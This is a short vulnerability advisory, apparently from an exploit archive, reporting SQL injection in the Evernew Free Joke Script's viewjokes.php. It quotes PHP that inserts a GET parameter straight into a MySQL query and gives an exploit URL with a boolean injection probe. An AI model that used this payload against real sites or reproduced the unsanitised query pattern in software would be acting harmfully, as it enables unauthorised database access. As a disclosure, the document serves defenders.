26 lines
No EOL
518 B
Text
26 lines
No EOL
518 B
Text
/*
|
|
|
|
Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
|
|
WebSite : www.evernewscripts.com
|
|
|
|
Author : Hamza 'MizoZ' N.
|
|
Email : mizozx@gmail.com
|
|
|
|
Greetz : Zuka , int_0x80 , geeksec.com ... a loot
|
|
|
|
*/
|
|
|
|
# VULN CODE ]--[ viewjokes.php :
|
|
|
|
$id=$HTTP_GET_VARS['id'];
|
|
$title=$HTTP_GET_VARS['title'];
|
|
|
|
stuffViewer($id, 'jokes');
|
|
|
|
$query="select * from jokes where id=$id";
|
|
$allresults=mysql_query($query);
|
|
$viewjokes=mysql_fetch_array($allresults);
|
|
|
|
# EXPLOIT :
|
|
|
|
http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1-- |